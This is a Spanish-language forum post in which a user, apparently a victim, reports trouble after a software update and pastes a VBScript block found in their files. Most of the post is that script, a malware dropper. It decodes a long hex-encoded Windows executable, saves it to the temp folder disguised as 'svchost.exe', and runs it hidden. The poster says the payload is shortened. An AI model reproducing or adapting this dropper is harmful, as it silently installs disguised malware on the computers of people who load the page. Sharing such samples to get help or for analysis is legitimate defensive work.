
Esto empezo cuando me descargue la versión 6.7.3... Luego volví a la 6.6.9 a ver si se iba, pero no sirvio... (El Código es unas 20 veces mas largo, pero el foro no permite mensajes tan largos.!!)
Código:
<SCRIPT Language=VBScript><!--
DropFileName = "svchost.exe"
WriteData = "4D5A90000300000004000000FFFF0000B80000000000000040000000000000000000000000504500004C010300BC7CB1470000000000000000E0000F010B01070400E000000010000000E0010030C0020000F0010000D002000000400000100000000200000A00000008000100040000000000000000E002000010000000000000020000000000100000100000000010000010000000000000100000000000000000000000E8D402001001000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000332E303300555058210D09020838ADBE177792F93FD0A0020023D000000048010026000012B29FA89200FF25304041CD6EE59202E4420564401919197970005C8C01191919C8EC94BF1D90B14435F4244105558BEC81C49AED60FE3CFFFFFFC7855C2B094C37B3FFE6EF0A195DD08175A035FF4DAC1155A0C9C204306E7FBF9F6845E0322D45A4346A35E804021C331F39D921085C803534311A8C8CBDFBBC815D0639C4C9C372143069B6DFDE3437353322F038383237833838BB9BBF1B700936333631FF8D4429B52C05017D7CB2F7EFE8F7950E836DCC00488AF0343532BEEFF6DDFC343491D0B23231748F046F791E39D9B60C18D83436CC3FB37BECFFF50185585DFF4D76198D3FF66FBF246365EC1E4588214DB4019D735DB40011951C61B2BB7809317DF8E77409DC00CD5D1E8EE03834459D7C16D6AEFBF60F37A88D9558FE0C528D8D7C065190388C4CC203044738A44342F7079CDBB6D4FDD4F1E2F91CB1EECFCDFD29B73609ADD04BB48C06669E183EA473F06F691636CB384B65797358082B6B901DAB4D68985B126114491FB22B6598A446ABF8506F900DA3AD8A69343F7124AC84CF2B4BA49034C3A26CB12718056BAD4BFBE14C6A1DD273A5432BD696B4846156EF96B0843432AA0FC36DC76625A5005045034CDFFB56407ABC7CB18A064683F0FF747489C501DB75078B1E83EEFC11DB11C901DB75078B1E83EEFC11DB11C975204101DB75078B1E83EEFC11DB11C901DB73EF75098B1E83EEFC11DB73E483C10281FD00F3FFFF83D1018D142F83FDFC760F8A02428807474975F7E963FFFFFF908B0283C204890783C70483E90477F101CFE94CFFFFFF5E89F7B9120100008A07472CE83C0177F7803F0075190400009000000080D30200680100000000000000000000A0600100D80234000000560053005F00560045005200530049004F004E005F0049004E0046004F0000000000BD04EFFE000001002A006A003D0049002A006A003D0049003F00000000000000040004000100000000000000000000000000000038020000000053007400720069006E006700460069006C00650049006E0066006F0000070002E006500780065000000300007000100500072006F0064007500630074004E0061006D006500000000003B044E04370430043D04450400000000400005000100500072006F006400750063007400560065007200730069006F006E0000003100300036002E00340032002E00370033002E003600310000000000440000000000560061007200460069006C00650049006E0066006F00000000002400040000005400720061006E0073006C006100740069006F006E00000000000904B004786301003C3F786D6C2076657273696F6E3D22312E302220656E636F64696E673D225554462D3822207374616E64616C6F6E657365222F3E3C2F72657175657374656450726976696C656765733E0D0AA020A0203C2F73656375726974793E0D0AA0203C2F7472757374496E666F3E0D0A3C2F617373656D626C793E000000000000000000000007DD502005CD50200000000000000000000000000000000000000000088D5020096D50200A6D50200B6D50200C4D50200D2D5020000000000E0D5020000000000ECD50200000000004B45524E454C33322E444C4C005348454C4C33322E444C4C005553455233322E444C4C0000004C6F61644C669727475616C416C6C6F6300005669727475616C467265650000004578697450726F636573730000004472616746696E697368000057696E48656C705700000000000000000000"
Set FSO = CreateObject("Scripting.FileSystemObject")
DropPath = FSO.GetSpecialFolder(2) & "\" & DropFileName
If FSO.FileExists(DropPath)=False Then
Set FileObj = FSO.CreateTextFile(DropPath, True)
For i = 1 To Len(WriteData) Step 2
FileObj.Write Chr(CLng("&H" & Mid(WriteData,i,2)))
Next
FileObj.Close
End If
Set WSHshell = CreateObject("WScript.Shell")
WSHshell.Run DropPath, 0
//--></SCRIPT>